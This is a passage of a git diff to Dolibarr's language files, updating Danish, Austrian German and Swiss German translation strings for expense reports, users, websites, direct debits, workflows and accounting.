-ExpenseReportIkDesc=Du kan ændre beregningen af ​​kilometerudgifter efter kategori og rækkevidde, hvem de tidligere er defineret. d er afstanden i kilometer -ExpenseReportRulesDesc=Du kan definere maks. beløbsregler for udgiftsrapporter. Disse regler vil blive anvendt, når en ny udgift tilføjes en udgiftsrapport -expenseReportOffset=Offset -expenseReportCoef=Koefficient -expenseReportTotalForFive=Eksempel med d = 5 -expenseReportRangeFromTo=fra %d til %d -expenseReportRangeMoreThan=mere end %d -expenseReportCoefUndefined=(værdi ikke defineret) -expenseReportCatDisabled=Kategori deaktiveret - se c_exp_tax_cat ordbogen -expenseReportRangeDisabled=Område deaktiveret - se c_exp_tax_range dictionay -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Ansøg til -ExpenseReportDomain=Domæne at anvende -ExpenseReportLimitOn=Begræns på -ExpenseReportDateStart=Dato start -ExpenseReportDateEnd=Dato udgangen -ExpenseReportLimitAmount=Max beløb -ExpenseReportRestrictive=Overskridelse forbudt -AllExpenseReport=Alle typer udgiftsrapport -OnExpense=Udgiftslinje -ExpenseReportRuleSave=Regnskabsregnskabsreglen er gemt -ExpenseReportRuleErrorOnSave=Fejl: %s -RangeNum=Område %d -ExpenseReportConstraintViolationError=Maks. beløb overskredet (regel %s): %s er højere end %s (overskridelse forbudt) -byEX_DAY=om dagen (begrænsning til %s) -byEX_MON=efter måned (begrænsning til %s) -byEX_YEA=efter år (begrænsning til %s) -byEX_EXP=for linje (begrænsning til %s) -ExpenseReportConstraintViolationWarning=Maks. beløb overskredet (regel %s): %s er højere end %s (overskrider tilladt) +ExpenseReportsToApprove=Udgiftsrapporter til at godkende +ExpenseReportsToPay=Udgifter rapporterer at betale +ExpensesArea=Omkostningsrapporteringsområde +FeesKilometersOrAmout=Beløb eller kilometer +LastExpenseReports=Seneste %s udgiftsrapporter +ListOfFees=Liste over gebyrer +ListOfTrips=Liste over udgiftsrapporter +ListToApprove=Venter på godkendelse +ListTripsAndExpenses=Liste over udgiftsrapporter +MOTIF_CANCEL=Årsag +MOTIF_REFUS=Årsag +ModePaiement=Betalingsmåde +NewTrip=Ny udgiftsrapport nolimitbyEX_DAY=om dagen (ingen begrænsning) +nolimitbyEX_EXP=efter linie (ingen begrænsning) nolimitbyEX_MON=efter måned (ingen begrænsning) nolimitbyEX_YEA=efter år (ingen begrænsning) -nolimitbyEX_EXP=efter linie (ingen begrænsning) -CarCategory=Køretøjskategori -ExpenseRangeOffset=Forskudsbeløb: %s +NoTripsToExportCSV=Ingen udgiftsrapport til eksport for denne periode. +NOT_AUTHOR=Du er ikke forfatteren af ​​denne udgiftsrapport. Drift aflyst. +OnExpense=Udgiftslinje +PDFStandardExpenseReports=Standard skabelon til at generere et PDF-dokument til udgiftsrapport +PaidTrip=Betal en udgiftsrapport +REFUSEUR=Nægtet af RangeIk=Mileage rækkevidde -AttachTheNewLineToTheDocument=Fastgør linjen til et uploadet dokument +RangeNum=Område %d +SaveTrip=Bekræfte udgiftsrapport +ShowExpenseReport=Vis omkostningsrapport +ShowTrip=Vis omkostningsrapport +TripCard=Udgiftsrapport kort +TripId=Id udgiftsrapport +TripNDF=Informationsomkostningsrapport +TripSociete=Informationsselskab +Trips=Udgiftsrapporter +TripsAndExpenses=Udgifter rapporter +TripsAndExpensesStatistics=Omkostningsrapporteringstatistik +TypeFees=Typer af gebyrer +UploadANewFileNow=Upload et nyt dokument nu +VALIDATOR=Bruger ansvarlig for godkendelse +VALIDOR=Godkendt af +ValidateAndSubmit=Bekræft og indsend for godkendelse +ValidatedWaitingApproval=Bekræftet (venter på godkendelse) +ValideTrip=Godkendelse af udgiftsrapport + +## Dictionary +EX_BRE=Morgenmad +EX_CAM=CV vedligeholdelse og reparation +EX_CAM_VP=PV vedligeholdelse og reparation +EX_CAR=Biludlejning +EX_CUR=Kunder modtager +EX_DOC=Dokumentation +EX_EMM=Ansatte måltid +EX_FUE=Brændstof CV +EX_FUE_VP=Brændstof PV +EX_GUM=Gæster måltid +EX_HOT=Hotel +EX_IND=Skadesløsholdelse transport abonnement +EX_KME=Mileage omkostninger +EX_OTR=Anden modtagelse +EX_PAR=Parkering CV +EX_PAR_VP=Parkering PV +EX_POS=Porto +EX_SUM=Vedligeholdelsesforsyning +EX_SUO=Kontorartikler +EX_TAX=Forskellige skatter +EX_TOL=Toll CV +EX_TOL_VP=Toll PV +TF_BUS=Bus +TF_CAR=Bil +TF_ESSENCE=Brændstof +TF_HOTEL=Hotel +TF_LUNCH=Frokost +TF_METRO=Metro +TF_OTHER=Anden +TF_PEAGE=Afgift +TF_TAXI=Taxa +TF_TRAIN=Tog +TF_TRIP=Transport diff --git a/htdocs/langs/da_DK/users.lang b/htdocs/langs/da_DK/users.lang index 69608712a1a..f24d043ded4 100644 --- a/htdocs/langs/da_DK/users.lang +++ b/htdocs/langs/da_DK/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Fjern fra gruppe PasswordChangedAndSentTo=Password ændret og sendt til %s. PasswordChangeRequest=Anmod om at ændre adgangskode til %s PasswordChangeRequestSent=Anmodning om at ændre password for %s sendt til %s. -IfLoginExistPasswordRequestSent=Hvis dette login er en gyldig konto, er der sendt en e-mail for at nulstille adgangskoden. +IfLoginExistPasswordRequestSent=Hvis dette login er en gyldig konto (med en gyldig e-mail), er der sendt en e-mail til nulstilling af adgangskode. IfEmailExistPasswordRequestSent=Hvis denne e-mail er en gyldig konto, er der sendt en e-mail for at nulstille adgangskoden. ConfirmPasswordReset=Bekræft nulstilling af adgangskode MenuUsersAndGroups=Brugere og grupper @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link til bruger LinkedToDolibarrThirdParty=Link til tredjepart CreateDolibarrLogin=Opret Dolibarr konto CreateDolibarrThirdParty=Opret en tredjepart -LoginAccountDisableInDolibarr=Konto deaktiveret i Dolibarr. +LoginAccountDisableInDolibarr=Konto deaktiveret i Dolibarr +PASSWORDInDolibarr=Adgangskode ændret i Dolibarr UsePersonalValue=Brug personlige værdi -InternalUser=Intern bruger ExportDataset_user_1=Brugere og deres egenskaber DomainUser=Domænebruger %s Reactivate=Genaktiver @@ -128,3 +128,7 @@ DateLastLogin=Dato sidste login DatePreviousLogin=Dato forrige login IPLastLogin=IP sidste login IPPreviousLogin=IP tidligere login +ShowAllPerms=Vis alle tilladelsesrækker +HideAllPerms=Skjul alle tilladelsesrækker +UserPublicPageDesc=Du kan aktivere et virtuelt kort for denne bruger. En url med brugerprofilen og en stregkode vil være tilgængelig, så alle med en smartphone kan scanne den og tilføje din kontakt til dens adressebog. +EnablePublicVirtualCard=Aktiver det offentlige virtuelle brugerkort diff --git a/htdocs/langs/da_DK/website.lang b/htdocs/langs/da_DK/website.lang index 4d437b5ba70..40a033d367d 100644 --- a/htdocs/langs/da_DK/website.lang +++ b/htdocs/langs/da_DK/website.lang @@ -1,6 +1,7 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kode -WebsiteSetupDesc=Opret her de websteder, du vil bruge. Gå derefter ind i menuen Websites for at redigere dem. +WebsiteName=Navn på hjemmesiden +WebsiteSetupDesc=Opret her de websteder, du ønsker at bruge. Gå derefter ind i menuen Websteder for at redigere dem. DeleteWebsite=Slet websted ConfirmDeleteWebsite=Er du sikker på, at du vil slette dette websted? Alle dens sider og indhold fjernes også. De filer, der uploades (ligesom i medias bibliotek, ECM-modulet, ...) forbliver. WEBSITE_TYPE_CONTAINER=Type side / container @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Tilføjelse nederst på HTML-overskrift (fælles for alle si WEBSITE_ROBOT=Robotfil (robots.txt) WEBSITE_HTACCESS=Websted .htaccess fil WEBSITE_MANIFEST_JSON=Webstedets manifest.json fil -WEBSITE_README=README.md fil WEBSITE_KEYWORDSDesc=Brug et komma til at adskille værdier -EnterHereLicenseInformation=Indtast her metadata eller licensinformation for at arkivere en README.md-fil. hvis du distribuerer dit websted som en skabelon, vil filen blive inkluderet i fristelsespakken. +EnterHereReadmeInformation=Indtast her en beskrivelse af hjemmesiden. Hvis du distribuerer dit websted som en skabelon, vil filen blive inkluderet i temptate pakken. +EnterHereLicenseInformation=Indtast her LICENSEN til koden for hjemmesiden. Hvis du distribuerer dit websted som en skabelon, vil filen blive inkluderet i temptate-pakken. HtmlHeaderPage=HTML-overskrift (kun for denne side) PageNameAliasHelp=Navnet eller aliaset på siden.
      Dette alias bruges også til at oprette en SEO-URL, når webstedet er kørt fra en virtuel vært på en webserver (som Apacke, Nginx, ...). Brug knappen " %s " for at redigere dette alias. EditTheWebSiteForACommonHeader=Bemærk: Hvis du vil definere en personlig "Header" for alle sider, skal du redigere din "Header" på website niveau i stedet for på siden / containeren. @@ -42,6 +43,8 @@ ViewPageInNewTab=Se side i ny fane SetAsHomePage=Angiv som hjemmeside RealURL=Rigtig webadresse ViewWebsiteInProduction=Se websitet ved hjælp af hjemmesider +Virtualhost=Virtuel vært eller domænenavn +VirtualhostDesc=Navnet på den virtuelle vært eller domæne (for eksempel: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Brug med Apache / NGinx / ...
      Opret på din webserver (Apache, Nginx, ...) en dedikeret virtuel vært med PHP aktiveret og et rodkatalog på
      %s ExampleToUseInApacheVirtualHostConfig=Eksempel til brug i Apache virtuel værtopsætning: YouCanAlsoTestWithPHPS= Brug med PHP-integreret server
      På udvikler miljø kan du helst prøve webstedet med den indbyggede PHP-server (PHP 5.5 påkrævet) ved at køre
      php -S 0.0. 0,0: 8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%sside (r) / container (r) regenereret RegenerateWebsiteContent=Genopret cache-filer på webstedet AllowedInFrames=Tilladt i rammer DefineListOfAltLanguagesInWebsiteProperties=Definer liste over alle tilgængelige sprog i webstedets egenskaber. -GenerateSitemaps=Generer webstedets sitemapfil +GenerateSitemaps=Generer webstedet sitemap.xml fil ConfirmGenerateSitemaps=Hvis du bekræfter, sletter du den eksisterende sitemapfil ... ConfirmSitemapsCreation=Bekræft generering af sitemap SitemapGenerated=Sitemap-fil %s genereret @@ -145,3 +148,12 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon skal være png ErrorFaviconSize=Favicon skal have en størrelse på 16x16, 32x32 eller 64x64 FaviconTooltip=Upload et billede, der skal være et png (16x16, 32x32 eller 64x64) +NextContainer=Næste side/beholder +PreviousContainer=Forrige side/container +WebsiteMustBeDisabled=Hjemmesiden skal have status "%s" +WebpageMustBeDisabled=Websiden skal have status "%s" +SetWebsiteOnlineBefore=Når hjemmesiden er offline, er alle sider offline. Skift status på webstedet først. +Booking=Booking +Reservation=Reservation +PagesViewedPreviousMonth=Viste sider (forrige måned) +PagesViewedTotal=Viste sider (i alt) diff --git a/htdocs/langs/da_DK/withdrawals.lang b/htdocs/langs/da_DK/withdrawals.lang index bfe254e8353..1e62f500c28 100644 --- a/htdocs/langs/da_DK/withdrawals.lang +++ b/htdocs/langs/da_DK/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Faktura venter på kreditoverførsel AmountToWithdraw=Beløb til at trække AmountToTransfer=Beløb, der skal overføres NoInvoiceToWithdraw=Der venter ingen faktura, der er åben for '%s'. Gå til fanen '%s' på fakturakort for at anmode om. -NoSupplierInvoiceToWithdraw=Ingen leverandør faktura med åbne 'direkte kredit anmodninger' venter. Gå til fanen '%s' på fakturakort for at anmode om. +NoSupplierInvoiceToWithdraw=Ingen leverandørfaktura med åben '%s' venter. Gå på fanen '%s' på fakturakortet for at lave en anmodning. ResponsibleUser=Brugeransvarlig WithdrawalsSetup=Indbetaling af direkte debitering CreditTransferSetup=Opsætning af kreditoverførsel @@ -42,6 +42,7 @@ CreditTransferStatistics=Kreditoverførselsstatistik Rejects=Afviser LastWithdrawalReceipt=Seneste %s direkte debit kvitteringer MakeWithdrawRequest=Lav en anmodning om direkte debitering +MakeWithdrawRequestStripe=Foretag en anmodning om direkte debitering via Stripe MakeBankTransferOrder=Foretag en kreditoverførselsanmodning WithdrawRequestsDone=%s anmodninger om direkte debitering indbetalt BankTransferRequestsDone=%s kredit overførselsanmodninger registreret @@ -100,8 +101,11 @@ CreditDate=Kredit på WithdrawalFileNotCapable=Kan ikke generere tilbagekøbskvitteringsfil for dit land %s (Dit land understøttes ikke) ShowWithdraw=Vis direkte debiteringsordre IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Hvis fakturaen dog har mindst en betalingsordre til direkte debitering, der endnu ikke er behandlet, indstilles den ikke til at blive betalt for at tillade forudgående udtræksstyring. -DoStandingOrdersBeforePayments=Denne fane giver dig mulighed for at anmode om en betalingsordre med direkte debitering. Når det er gjort, skal du gå til menuen Bank-> Betaling med direkte debet for at generere og administrere direkte debetordre. Når ordre med direkte debitering lukkes, registreres betaling på fakturaer automatisk, og fakturaer lukkes, hvis resten til betaling er null. -DoCreditTransferBeforePayments=Denne fane giver dig mulighed for at anmode om en kredit overførselsordre. Når det er gjort, skal du gå til menuen Bank-> Betaling med kreditoverførsel for at generere og administrere kredit overførselsordren. Når pengeoverførsel er lukket, vil betaling på fakturaer oplysninger registreres automatisk, og fakturaer lukkes, hvis resten til løn er nul.\n  +DoStandingOrdersBeforePayments=Denne fane giver dig mulighed for at anmode om en betalingsordre med direkte debitering. Når det er gjort, kan du gå ind i menuen "Bank->Betaling med direkte debitering" for at generere og administrere en ordrefil med direkte debitering. +DoStandingOrdersBeforePayments2=Du kan også sende en anmodning direkte til en SEPA-betalingsprocessor som Stripe, ... +DoStandingOrdersBeforePayments3=Når direkte debiteringsordre er lukket, vil betaling på fakturaer automatisk blive registreret, og fakturaer lukkes, hvis resterende betaling er nul. +DoCreditTransferBeforePayments=Denne fane giver dig mulighed for at anmode om en kreditoverførselsordre. Når det er gjort, skal du gå ind i menuen "Bank->Betaling ved kreditoverførsel" for at generere og administrere en kreditoverførselsordrefil. +DoCreditTransferBeforePayments3=Når kreditoverførselsordren er lukket, vil betaling på fakturaer automatisk blive registreret, og fakturaer lukkes, hvis resterende betaling er nul. WithdrawalFile=Debiteringsfil CreditTransferFile=Kreditoverførselsfil SetToStatusSent=Sæt til status "Fil sendt" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Kunne ikke oprette direkte debitering for tomt bel SepaMandate=SEPA Direkte Debit Mandat SepaMandateShort=SEPA-mandat PleaseReturnMandate=Ret venligst denne mandatformular via e-mail til %s eller pr. Mail til -SEPALegalText=Ved at underskrive denne fuldmagtsformular giver du (A) %s tilladelse til at sende instruktioner til din bank om at debitere din konto og (B) din bank til at debitere din konto i overensstemmelse med instruktionerne fra %s. Som en del af dine rettigheder har du ret til refusion fra din bank i henhold til betingelserne i din aftale med din bank. Dine rettigheder vedrørende ovenstående fuldmagt er forklaret i en erklæring, som du kan få fra din bank. +SEPALegalText=Ved at underskrive denne fuldmagtsformular giver du (A) %s og dets betalingstjenesteudbyder tilladelse til at sende instruktioner til din bank om at debitere din konto og (B) din bank til at debitere din konto i overensstemmelse med instruktionerne fra %s. Som en del af dine rettigheder har du ret til refusion fra din bank i henhold til betingelserne i din aftale med din bank. Dine rettigheder vedrørende ovenstående fuldmagt er forklaret i en erklæring, som du kan få fra din bank. CreditorIdentifier=Kreditoridentifikator CreditorName=Kreditors navn SEPAFillForm=(B) Udfyld venligst alle felter markeret * diff --git a/htdocs/langs/da_DK/workflow.lang b/htdocs/langs/da_DK/workflow.lang index 254345a85be..ec88edf8ff8 100644 --- a/htdocs/langs/da_DK/workflow.lang +++ b/htdocs/langs/da_DK/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Klassificer købt kø descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Klassificer linket kildeindkøbsordre som modtaget, når en modtagelse er valideret (og hvis mængden modtaget af alle modtagelser er den samme som i indkøbsordren, der skal opdateres) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Klassificer tilknyttet kildeindkøbsordre som modtaget, når en modtagelse lukkes (og hvis mængden modtaget af alle modtagelser er den samme som i indkøbsordren for at opdatere) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Klassificer modtagelser til "faktureret", når en linket leverandørordre valideres +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Klassificer modtagelser til "faktureret", når en tilknyttet købsfaktura er valideret (og hvis fakturabeløbet er det samme som det samlede beløb for de tilknyttede modtagelser) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Når du opretter en billet, skal du linke tilgængelige kontrakter fra matchende tredjepart descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Når du sammenkæder kontrakter, søg blandt moderselskabers @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Luk alle indgreb, der er knyttet til bill AutomaticCreation=Automatisk oprettelse AutomaticClassification=Automatisk klassificering # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klassificer tilknyttet kildeforsendelse som lukket, når kundefaktura er valideret +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klassificer linket kildeforsendelse som lukket, når kundens faktura er valideret (og hvis fakturabeløbet er det samme som det samlede beløb for de linkede forsendelser) AutomaticClosing=Automatisk lukning AutomaticLinking=Automatisk forbinde diff --git a/htdocs/langs/de_AT/admin.lang b/htdocs/langs/de_AT/admin.lang index eb37ef1ee98..65ff9c0e6e3 100644 --- a/htdocs/langs/de_AT/admin.lang +++ b/htdocs/langs/de_AT/admin.lang @@ -147,7 +147,6 @@ CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. MAIN_OPTIMIZEFORCOLORBLINDDesc=Aktiviere diese Option wenn Sie Farbenblind sind, in machen Fällen wird die Farbeinstellung geändert um den Kontrast zu erhöhen. WithGMailYouCanCreateADedicatedPassword=Wenn Sie bei einem GMail-Konto die Überprüfung in zwei Schritten aktiviert haben, wird empfohlen, ein dediziertes zweites Kennwort für die Anwendung zu erstellen, anstatt Ihr eigenes Kontokennwort von https://myaccount.google.com/ zu verwenden. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      EndPointFor=Endpunkt für %s: %s DeleteEmailCollector=E-Mail-Sammler löschen ConfirmDeleteEmailCollector=Möchten Sie diesen E-Mail-Sammler wirklich löschen? diff --git a/htdocs/langs/de_AT/ecm.lang b/htdocs/langs/de_AT/ecm.lang index bfb47abf032..29ad990c4ca 100644 --- a/htdocs/langs/de_AT/ecm.lang +++ b/htdocs/langs/de_AT/ecm.lang @@ -2,4 +2,3 @@ ECMSectionsManual=Manuelle Verzeichnisse ECMSectionsAuto=Automatische Verzeichnisse ECMNbOfFilesInSubDir=Anzahl der Dateien im Unterverzeichnis -ECMAreaDesc2=* Automatische Verzeichnisse werden automatisch befüllt, wenn Sie Dokumente von der Karte eines Elements erstellen.
      * Manuelle Verzeichnisse können Sie dazu nutzen, nicht mit anderen Elementen verbundene Dokumente zu speichern. diff --git a/htdocs/langs/de_AT/hrm.lang b/htdocs/langs/de_AT/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/de_AT/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/de_AT/main.lang b/htdocs/langs/de_AT/main.lang index c9768e1b88d..e54fb4920d7 100644 --- a/htdocs/langs/de_AT/main.lang +++ b/htdocs/langs/de_AT/main.lang @@ -3,7 +3,7 @@ DIRECTION=ltr FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, -SeparatorThousand=None +SeparatorThousand=. FormatDateShort=%d.%m.%Y FormatDateShortInput=%d.%m.%Y FormatDateShortJava=dd.MM.yyyy @@ -32,10 +32,10 @@ ToClone=Klonen Of=Von Search=Suche SearchOf=Suche -PasswordRetype=Geben Sie das Passwort erneut ein Title=Titel DateStart=Start-Datum DateEnd=End-Datum +DateRequest=Anfragedatum UnitPrice=Bruttopreis (Stk.) UnitPriceTTC=Bruttopreis (Stk.) PriceU=Stückpreis @@ -76,6 +76,6 @@ SearchIntoContacts=Kontakt SearchIntoInterventions=Eingriffe AssignedTo=zugewisen an DateOfBirth=Geburtstdatum -AffectTag=Beschlagworten/Kategorisieren -ConfirmAffectTag=Massen-Beschlagwortung/Kategorisierung ClientTZ=Client-Zeitzone (Benutzer) +InternalUser=interner Nutzer +ExternalUser=externer Nutzer diff --git a/htdocs/langs/de_AT/stripe.lang b/htdocs/langs/de_AT/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/de_AT/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/de_CH/accountancy.lang b/htdocs/langs/de_CH/accountancy.lang index a65ad255398..3ccdcb82ebe 100644 --- a/htdocs/langs/de_CH/accountancy.lang +++ b/htdocs/langs/de_CH/accountancy.lang @@ -10,8 +10,6 @@ Selectformat=Wähle das Dateiformat ACCOUNTING_EXPORT_FORMAT=Wähle das Dateiformat ACCOUNTING_EXPORT_ENDLINE=Wähle das Steuerzeichen für den Wagenrücklauf (Carriage Return CR) ACCOUNTING_EXPORT_PREFIX_SPEC=Wähle dein Präfix für den Dateinamen -DefaultForService=Standard für Leistungen -DefaultForProduct=Standard für Produkte ServiceForThisThirdparty=Dienstleistung für diesen Geschäftspartner CantSuggest=Ich habe keinen Vorschlag AccountancySetupDoneFromAccountancyMenu=Die meisten Einstellungen der Buchhaltung setzt du im Menu %s @@ -75,7 +73,6 @@ ShowAccountingAccount=Zeige Buchhaltungskonto ShowAccountingJournal=Zeige Buchhaltungssjournal ShowAccountingAccountInLedger=Zeige dieses Buchhaltungskonto im Hauptbuch. ShowAccountingAccountInJournals=Zeige dieses Buchhaltungskonto in den Journalen -AccountAccountingSuggest=Vorgeschlagenes Buchhaltungskonto MenuVatAccounts=MWST - Konten MenuExpenseReportAccounts=Spesenabrechnungskonten MenuProductsAccounts=Produktkonten @@ -123,36 +120,21 @@ BANK_DISABLE_DIRECT_INPUT=Direktbuchung der Transaktion auf dem Bankkonto unterb ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Entwurfsexport des Journales erlauben ACCOUNTANCY_COMBO_FOR_AUX=Kombinierte Liste für Nebenbuchkonten aktivieren (das kann bei vielen Geschäftspartnern langsam gehen. Weiter kannst du so nicht nach Teilwerten suchen. ACCOUNTING_DATE_START_BINDING=Eröffnungsdatum der Buchhaltung festlegen. Alle Vorgänge davor werden in der Buchhaltung nicht berücksichtigt. -ACCOUNTING_MISCELLANEOUS_JOURNAL=Nebenjournal -ACCOUNTING_SOCIAL_JOURNAL=Personaljournal +ACCOUNTING_EXPENSEREPORT_JOURNAL=Spesenabrechnungsjournal ACCOUNTING_HAS_NEW_JOURNAL=Hat neuen Journaleintrag +ACCOUNTING_SOCIAL_JOURNAL=Personaljournal ACCOUNTING_RESULT_PROFIT=Ergebniskonto (Gewinn) ACCOUNTING_RESULT_LOSS=Ergebniskonto (Verlust) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Abschlussjournal -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Transferkonto Banktransaktionen TransitionalAccount=Durchlaufkonto Bank -ACCOUNTING_ACCOUNT_SUSPENSE=Sperrkonto -DONATION_ACCOUNTINGACCOUNT=Buchhaltungskonto für Spenden -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Buchhaltungskonto für Abonnemente -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Standardkonto für Kunden - Anzahlungen -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Standard - Buchhaltungskonto für gekaufte Produkte\n(Wird verwendet, wenn kein Konto in der Produktdefinition hinterlegt ist) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Standardkonto für importierte Produkte aus der EU (wird benutzt, wenn kein Konto im Produkteblatt hinterlegt ist) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Standardkonto für importierte Produkte ausserhalb der EU (wird benutzt, wenn kein Konto im Produkteblatt hinterlegt ist) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Standard - Buchhaltungskonto für verkaufte Produkte\n(Wird verwendet, wenn kein Konto in der Produktdefinition hinterlegt ist) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Standard - Buchhaltungskonto für Produktverkäufe in EWR - Staaten\n(Wird verwendet, wenn kein Konto in der Produktdefinition hinterlegt ist). -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Standardkonto für Verkäufe an nicht EWR - Staaten (sofern nicht anders im Produkt hinterlegt) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Standard - Buchhaltungskonto für gekaufte Leistungen\n(Wird verwendet, wenn kein Konto in der Leistungsdefinition hinterlegt ist) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Standardkonto für importierte Dienstleistungen aus der EU (wird benutzt, wenn kein Konto im Produkteblatt hinterlegt ist) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Standardkonto für importierte Dienstleistungen ausserhalb der EU (wird benutzt, wenn kein Konto im Produkteblatt hinterlegt ist) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Standard - Buchhaltungskonto für verkaufte Leistungen\n(Wird verwendet, wenn kein Konto in der Leistungsdefinition hinterlegt ist) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Standard - Buchhaltungskonto für verkaufte Leistungen in den EWR\n(Wird verwendet, wenn kein Konto in der Leistungsdefinition hinterlegt ist). -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Standardkonto für verkaufte Leistungen an nicht EWR - Staaten (sofern nicht anders im Produkt hinterlegt) LabelOperation=Vorgangsbezeichnung AccountingDirectionHelp=Verwenden Sie für ein Buchhaltungskonto eines Kunden Guthaben, um eine Zahlung zu erfassen, die Sie erhalten haben.
      Verwenden Sie für ein Buchhaltungskonto eines Lieferanten Debit, um eine von Ihnen geleistete Zahlung zu erfassen LetteringCode=Beschriftung Lettering=Beschriftung JournalLabel=Journalbezeichnung TransactionNumShort=Transaktionsnummer +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Nach Hauptbuchkonto gruppieren GroupBySubAccountAccounting=Nach Nebenbuchkonto gruppieren AccountingAccountGroupsDesc=Trage hier deine eigenen Buchhaltungs - Kontogruppen ein. Daraus kannst du spezielle Berichte erzeugen. @@ -192,12 +174,6 @@ ShowOpeningBalance=Eröffnungssaldo anzeigen HideOpeningBalance=Eröffnungssaldo ausblenden Pcgtype=Kontengruppe TotalMarge=Gesamtmarge Verkauf -DescVentilCustomer=Du siehst hier die Liste der Kundenrechnungen und ob diese mit einem Buchhaltungskonto verknüpft sind, oder nicht. -DescVentilMore=Wenn du in den Produkten und Leistungen die Buchhaltungskonten deines Kontenplanes hinterlegt hast, kann ich die Rechnungspositionen automatisch jenen Konten zuordnen. Dafür ist die Schaltfläche "%s" da.\nDort, wo das nicht klappt, kannst du die Rechnungspositionen via "%s" von Hand zuweisen. -DescVentilDoneCustomer=Du siehst die Kundenrechnungspositionen und den aktuellen Verknüpfungsstatus zu Buchhaltungskonten. -DescVentilTodoCustomer=Verknüpfe Rechnungspositionen mit Buchhaltungskonten. -ChangeAccount=Ersetze für die gewählten Positionen das Buchhaltungskonto. -DescVentilSupplier=Du siehst die Lieferantenrechnungspositionen und den aktuellen Verknüpfungsstatus zu Buchhaltungskonten.\n(Hier siehst du alle Einträge, die noch nicht in das Hauptbuch geschrieben sind.) DescVentilDoneSupplier=Liste der Lieferanten - Rechnungspositionen mit aktuell zugewiesenen Buchhaltungskonten. DescVentilTodoExpenseReport=Hier verknüpfst du Spesenauslagen mit dem passenden Buchhaltungskonto. DescVentilExpenseReport=Du siehst die Spesenabrechnungspositionen und den aktuellen Verknüpfungsstatus zu Buchhaltungskonten. @@ -206,12 +182,10 @@ DescVentilDoneExpenseReport=Du siehst die Spesenabrechnungspositionen und die da Closure=Jahresabschluss DescValidateMovements=Für den Abschluss müssen alle Kontobewegungen frei gegeben sein. Danach sind sie nicht mehr änderbar. ValidateHistory=Automatisch verknüpfen -ErrorAccountancyCodeIsAlreadyUse=Hoppla, dieses Buchhaltungskonto wird noch verwendet - du kannst es deshalb nicht löschen. Balancing=Saldierung FicheVentilation=Verknüpfungskarte GeneralLedgerIsWritten=Die Transaktionen werden ins Hauptbuch übertragen. 